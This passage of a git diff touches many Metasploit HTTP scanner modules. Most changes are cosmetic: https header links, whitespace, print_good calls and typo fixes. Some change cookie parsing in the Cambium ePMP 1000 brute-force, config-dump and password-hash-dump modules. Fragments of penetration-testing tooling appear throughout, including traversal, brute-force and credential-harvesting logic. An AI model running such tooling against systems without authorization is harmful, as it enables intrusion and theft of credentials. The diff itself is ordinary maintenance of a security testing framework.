+++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -272,5 +272,4 @@ class MetasploitModule < Msf::Auxiliary
     login_data.merge!(service_data)
     create_credential_login(login_data)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb
index 3b72ac9656..bf4a7b8ede 100644
--- a/modules/auxiliary/scanner/http/clansphere_traversal.rb
+++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -82,5 +81,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Fail to obtain file for some unknown reason")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb
index 8ec01edd6d..b34c0d2f01 100644
--- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb
+++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -192,7 +191,6 @@ class MetasploitModule < Msf::Auxiliary
   rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
   rescue ::Timeout::Error, ::Errno::EPIPE
   end
-
 end
 
 # URLs that may work for you:
diff --git a/modules/auxiliary/scanner/http/coldfusion_version.rb b/modules/auxiliary/scanner/http/coldfusion_version.rb
index 8e324676be..e8fb3cbc2b 100644
--- a/modules/auxiliary/scanner/http/coldfusion_version.rb
+++ b/modules/auxiliary/scanner/http/coldfusion_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -121,5 +120,4 @@ class MetasploitModule < Msf::Auxiliary
   rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
   rescue ::Timeout::Error, ::Errno::EPIPE
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb
index dd6611499b..7d9cb00795 100644
--- a/modules/auxiliary/scanner/http/concrete5_member_list.rb
+++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/http/copy_of_file.rb b/modules/auxiliary/scanner/http/copy_of_file.rb
index 1fd22afb5f..3dedbef6fa 100644
--- a/modules/auxiliary/scanner/http/copy_of_file.rb
+++ b/modules/auxiliary/scanner/http/copy_of_file.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanFile
   include Msf::Auxiliary::Scanner
@@ -132,7 +130,7 @@ class MetasploitModule < Msf::Auxiliary
             if ecode != 400 and res.code.to_i == 400
               print_error("[#{wmap_target_host}] Server returned a 400 error on #{wmap_base_url}#{filec} [#{res.code.to_i}]")
             else
-              print_status("[#{wmap_target_host}] Found #{wmap_base_url}#{filec} [#{res.code.to_i}]")
+              print_good("[#{wmap_target_host}] Found #{wmap_base_url}#{filec} [#{res.code.to_i}]")
 
               report_web_vuln(
                 :host	=> ip,
diff --git a/modules/auxiliary/scanner/http/crawler.rb b/modules/auxiliary/scanner/http/crawler.rb
index 56c86e8ad5..b024ea4e23 100644
--- a/modules/auxiliary/scanner/http/crawler.rb
+++ b/modules/auxiliary/scanner/http/crawler.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::HttpCrawler
 
   def initialize
diff --git a/modules/auxiliary/scanner/http/dell_idrac.rb b/modules/auxiliary/scanner/http/dell_idrac.rb
index a0d3f46756..dcc1859331 100644
--- a/modules/auxiliary/scanner/http/dell_idrac.rb
+++ b/modules/auxiliary/scanner/http/dell_idrac.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -137,5 +136,4 @@ class MetasploitModule < Msf::Auxiliary
       return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/dir_listing.rb b/modules/auxiliary/scanner/http/dir_listing.rb
index aac31ec4bb..222e25eebe 100644
--- a/modules/auxiliary/scanner/http/dir_listing.rb
+++ b/modules/auxiliary/scanner/http/dir_listing.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanDir
   include Msf::Auxiliary::Scanner
@@ -45,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary
 
       if (res and res.code >= 200 and res.code < 300)
         if res.to_s.include? "<title>Index of /" and res.to_s.include? "<h1>Index of /"
-          print_status("Found Directory Listing #{wmap_base_url}#{tpath}")
+          print_good("Found Directory Listing #{wmap_base_url}#{tpath}")
 
           report_web_vuln(
             :host	=> ip,
@@ -66,7 +65,7 @@ class MetasploitModule < Msf::Auxiliary
         end
 
         if res.to_s.include? "[To Parent Directory]</A>" and res.to_s.include? "#{tpath}</H1><hr>"
-          print_status("Found Directory Listing #{wmap_base_url}#{tpath}")
+          print_good("Found Directory Listing #{wmap_base_url}#{tpath}")
 
           report_web_vuln(
             :host	=> ip,
diff --git a/modules/auxiliary/scanner/http/dir_scanner.rb b/modules/auxiliary/scanner/http/dir_scanner.rb
index 72b27424fd..90b648c4e0 100644
--- a/modules/auxiliary/scanner/http/dir_scanner.rb
+++ b/modules/auxiliary/scanner/http/dir_scanner.rb
@@ -1,14 +1,12 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 require 'thread'
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanDir
   include Msf::Auxiliary::Scanner
@@ -156,7 +154,7 @@ class MetasploitModule < Msf::Auxiliary
               :name   => 'directory'
             )
 
-            print_status("Found #{wmap_base_url}#{tpath}#{testfdir} #{res.code} (#{wmap_target_host})")
+            print_good("Found #{wmap_base_url}#{tpath}#{testfdir} #{res.code} (#{wmap_target_host})")
 
             if res.code.to_i == 401
               print_status("#{wmap_base_url}#{tpath}#{testfdir} requires authentication: #{res.headers['WWW-Authenticate']}")
diff --git a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb
index 1d3fee0860..d84ea5fbd7 100644
--- a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb
+++ b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanDir
   include Msf::Auxiliary::Scanner
@@ -161,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
           }, 20)
 
           if (res and res.code.to_i == 207)
-            print_status("\tFound vulnerable WebDAV Unicode bypass target #{wmap_base_url}#{tpath}%c0%af#{testfdir} #{res.code} (#{wmap_target_host})")
+            print_good("\tFound vulnerable WebDAV Unicode bypass target #{wmap_base_url}#{tpath}%c0%af#{testfdir} #{res.code} (#{wmap_target_host})")
 
             # Unable to use report_web_vuln as method is PROPFIND and is not part of allowed
             # list in db.rb
diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb
index 19e8c06350..f841b49a36 100644
--- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb
+++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb
@@ -1,12 +1,9 @@
-
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -156,5 +153,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     return :fail
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb
index d8fad4653c..5236c900f8 100644
--- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb
+++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -171,5 +169,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     return :fail
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb
index d1705ae3d3..25b4201b83 100644
--- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb
+++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -19,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary
           This module attempts to authenticate to different D-Link HTTP management
         services. It has been tested successfully on D-Link DIR-300 Hardware revision B,
         D-Link DIR-600 Hardware revision B, D-Link DIR-815 Hardware revision A and DIR-645
-        Hardware revision A devices.It is possible that this module also works with	other
+        Hardware revision A devices. It is possible that this module also works with other
         models.
       },
       'Author'         =>
@@ -161,5 +159,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     return :fail
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb
index 5cf6c265d9..f7bf7e92ef 100644
--- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb
+++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb b/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb
index bc243efe2b..b2628f60e9 100644
--- a/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb
+++ b/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
@@ -73,7 +72,6 @@ class MetasploitModule < Msf::Auxiliary
     p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
     print_good("File saved as: #{p}")
   end
-
 end
 
 
diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb
index f380749f1c..41332b6673 100644
--- a/modules/auxiliary/scanner/http/dolibarr_login.rb
+++ b/modules/auxiliary/scanner/http/dolibarr_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q{
         This module attempts to authenticate to a Dolibarr ERP/CRM's admin web interface,
         and should only work against version 3.1.1 or older, because these versions do not
-        have any default protections against bruteforcing.
+        have any default protections against brute forcing.
       },
       'Author'         => [ 'sinn3r' ],
       'License'        => MSF_LICENSE
diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb
index 8c9e6aba89..6cc4603e3e 100644
--- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb
+++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanServer
   include Msf::Auxiliary::Report
@@ -147,5 +146,4 @@ class MetasploitModule < Msf::Auxiliary
     )
     print_status("Usernames stored in: #{p}")
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb
index 3104ebfef8..b9eb00a50f 100644
--- a/modules/auxiliary/scanner/http/ektron_cms400net.rb
+++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -104,7 +103,7 @@ class MetasploitModule < Msf::Auxiliary
       end
 
     rescue
-      print_error ("Ektron CMS400.NET login page not found at #{target_url}  [HTTP #{res.code}]")
+      print_error("Ektron CMS400.NET login page not found at #{target_url}  [HTTP #{res.code}]")
       return
     end
   end
@@ -183,5 +182,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb
index f3c1b6bd9c..512bf112ed 100644
--- a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb
+++ b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/enum_wayback.rb b/modules/auxiliary/scanner/http/enum_wayback.rb
index 32d222b507..da55416fda 100644
--- a/modules/auxiliary/scanner/http/enum_wayback.rb
+++ b/modules/auxiliary/scanner/http/enum_wayback.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'net/http'
 
 class MetasploitModule < Msf::Auxiliary
@@ -37,11 +36,12 @@ class MetasploitModule < Msf::Auxiliary
     response = ""
     pages = []
     header = { 'User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/525.13"}
-    clnt = Net::HTTP::Proxy(@proxysrv,@proxyport,@proxyuser,@proxypass).new("wayback.archive.org")
-    resp = clnt.get2("/web/*/http://"+targetdom+"/*",header)
+    # https://github.com/internetarchive/wayback/tree/master/wayback-cdx-server
+    clnt = Net::HTTP::Proxy(@proxysrv,@proxyport,@proxyuser,@proxypass).new("web.archive.org")
+    resp = clnt.get2("/cdx/search/cdx?url="+Rex::Text.uri_encode("#{targetdom}/*")+"&fl=original",header)
     response << resp.body
     response.each_line do |line|
-      pages << line.gsub!(/(.+>)(.+)(<\/a>)\n/, '\2')
+      pages << line.strip
     end
 
     pages.delete_if{|x| x==nil}
@@ -49,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary
     pages.sort!
 
     for i in (0..(pages.count-1))
-      fix = "http://" + pages[i].to_s
+      fix = pages[i].to_s.sub(':80', '')
       pages[i] = fix
     end
     return pages
diff --git a/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb b/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb
index 32d984085c..0636f2e024 100644
--- a/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb
+++ b/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -148,13 +148,11 @@ class MetasploitModule < Msf::Auxiliary
 
       good_response = (
         res &&
-        res.code == 200 &&
-        res.headers.include?('Set-Cookie') &&
-        res.headers['Set-Cookie'].include?('sysauth')
+        res.code == 200
       )
 
       if good_response
-        sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
+        sysauth_value = res.get_cookies.scan(/((.*)[$ ])/).flatten[0] || ''
 
         cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
 
@@ -181,8 +179,7 @@ class MetasploitModule < Msf::Auxiliary
       good_response = (
         res &&
         res.code == 200 &&
-        res.headers.include?('Set-Cookie') &&
-        res.headers['Set-Cookie'].include?('stok=')
+        res.get_cookies.scan(/(stok=(.*))/).flatten[0]
       )
 
       if good_response
@@ -196,10 +193,10 @@ class MetasploitModule < Msf::Auxiliary
           password: pass
         )
 
-        get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
+        get_stok = res.get_cookies.scan(/(stok=(.*))/) || ''
         if !get_stok.nil?
           stok_value = get_stok[1]
-          sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
+          sysauth_value = res.get_cookies.scan(/((.*)[$ ])/).flatten[0] || ''
 
           cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
 
diff --git a/modules/auxiliary/scanner/http/epmp1000_dump_config.rb b/modules/auxiliary/scanner/http/epmp1000_dump_config.rb
index 4901f9e73f..1517f3ac67 100644
--- a/modules/auxiliary/scanner/http/epmp1000_dump_config.rb
+++ b/modules/auxiliary/scanner/http/epmp1000_dump_config.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -141,13 +141,11 @@ class MetasploitModule < Msf::Auxiliary
 
       good_response = (
         res &&
-        res.code == 200 &&
-        res.headers.include?('Set-Cookie') &&
-        res.headers['Set-Cookie'].include?('sysauth')
+        res.code == 200
       )
 
       if good_response
-        sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
+        sysauth_value = res.get_cookies.scan(/((.*)[$ ])/).flatten[0] || ''
 
         cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
 
@@ -173,8 +171,7 @@ class MetasploitModule < Msf::Auxiliary
       good_response = (
         res &&
         res.code == 200 &&
-        res.headers.include?('Set-Cookie') &&
-        res.headers['Set-Cookie'].include?('stok=')
+        res.get_cookies.scan(/(stok=(.*))/).flatten[0]
       )
 
       if good_response
@@ -188,10 +185,10 @@ class MetasploitModule < Msf::Auxiliary
           password: pass
         )
 
-        get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
+        get_stok = res.get_cookies.scan(/(stok=(.*))/) || ''
         if !get_stok.nil?
           stok_value = get_stok[1]
-          sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
+          sysauth_value = res.get_cookies.scan(/((.*)[$ ])/).flatten[0] || ''
 
           cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
 
@@ -220,7 +217,7 @@ class MetasploitModule < Msf::Auxiliary
             print_good("#{rhost}:#{rport} - File retrieved successfully!")
 
             path = store_loot('ePMP_config', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 device config')
-            print_status("#{rhost}:#{rport} - File saved in: #{path}")
+            print_good("#{rhost}:#{rport} - File saved in: #{path}")
           else
             print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
             return
diff --git a/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb b/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb
index b94744dab9..befef505a6 100644
--- a/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb
+++ b/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -147,13 +147,11 @@ class MetasploitModule < Msf::Auxiliary
 
       good_response = (
         res &&
-        res.code == 200 &&
-        res.headers.include?('Set-Cookie') &&
-        res.headers['Set-Cookie'].include?('sysauth')
+        res.code == 200
       )
 
       if good_response
-        sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
+        sysauth_value = res.get_cookies.scan(/((.*)[$ ])/).flatten[0] || ''
 
         cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
 
@@ -179,9 +177,7 @@ class MetasploitModule < Msf::Auxiliary
 
       good_response = (
         res &&
-        res.code == 200 &&
-        res.headers.include?('Set-Cookie') &&
-        res.headers['Set-Cookie'].include?('stok=')
+        res.code == 200
       )
 
       if good_response
@@ -195,10 +191,10 @@ class MetasploitModule < Msf::Auxiliary
           password: pass
         )
 
-        get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
+        get_stok = res.get_cookies.scan(/(stok=(.*))/) || ''
         if !get_stok.nil?
           stok_value = get_stok[1]
-          sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
+          sysauth_value = res.get_cookies.scan(/((.*)[$ ])/).flatten[0] || ''
 
           cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
 
@@ -255,7 +251,7 @@ class MetasploitModule < Msf::Auxiliary
 
             print_good("#{rhost}:#{rport} - File retrieved successfully!")
             path = store_loot('ePMP_passwd', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 password hashes')
-            print_status("#{rhost}:#{rport} - File saved in: #{path}")
+            print_good("#{rhost}:#{rport} - File saved in: #{path}")
           else
             print_error("#{rhost}:#{rport} - Failed to retrieve hashes")
             return
diff --git a/modules/auxiliary/scanner/http/epmp1000_web_login.rb b/modules/auxiliary/scanner/http/epmp1000_web_login.rb
index ebebef2cc4..3a4f2e07c3 100644
--- a/modules/auxiliary/scanner/http/epmp1000_web_login.rb
+++ b/modules/auxiliary/scanner/http/epmp1000_web_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -137,13 +137,11 @@ class MetasploitModule < Msf::Auxiliary
 
       good_response = (
         res &&
-        res.code == 200 &&
-        res.headers.include?('Set-Cookie') &&
-        res.headers['Set-Cookie'].include?('sysauth')
+        res.code == 200
       )
 
       if good_response
-        sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
+        sysauth_value = res.get_cookies.scan(/((.*)[$ ])/).flatten[0] || ''
 
         cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
 
@@ -168,9 +166,7 @@ class MetasploitModule < Msf::Auxiliary
 
       good_response = (
         res &&
-        res.code == 200 &&
-        res.headers.include?('Set-Cookie') &&
-        res.headers['Set-Cookie'].include?('stok=')
+        res.code == 200
       )
 
       if good_response
diff --git a/modules/auxiliary/scanner/http/error_sql_injection.rb b/modules/auxiliary/scanner/http/error_sql_injection.rb
index d47f3d2278..dc6e5b270f 100644
--- a/modules/auxiliary/scanner/http/error_sql_injection.rb
+++ b/modules/auxiliary/scanner/http/error_sql_injection.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanUniqueQuery
   include Msf::Auxiliary::Scanner
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'   		=> 'HTTP Error Based SQL Injection Scanner',
       'Description'	=> %q{
-        This module identifies the existence of Error Based SQL injection issues. Still requires alot of work
+        This module identifies the existence of Error Based SQL injection issues. Still requires a lot of work
 
       },
       'Author' 		=> [ 'et [at] cyberspace.org' ],
diff --git a/modules/auxiliary/scanner/http/etherpad_duo_login.rb b/modules/auxiliary/scanner/http/etherpad_duo_login.rb
index 4bd920ff19..ede5aa392c 100644
--- a/modules/auxiliary/scanner/http/etherpad_duo_login.rb
+++ b/modules/auxiliary/scanner/http/etherpad_duo_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb
index 9b90360715..c7c26ac1b9 100644
--- a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb
+++ b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb
@@ -1,5 +1,5 @@
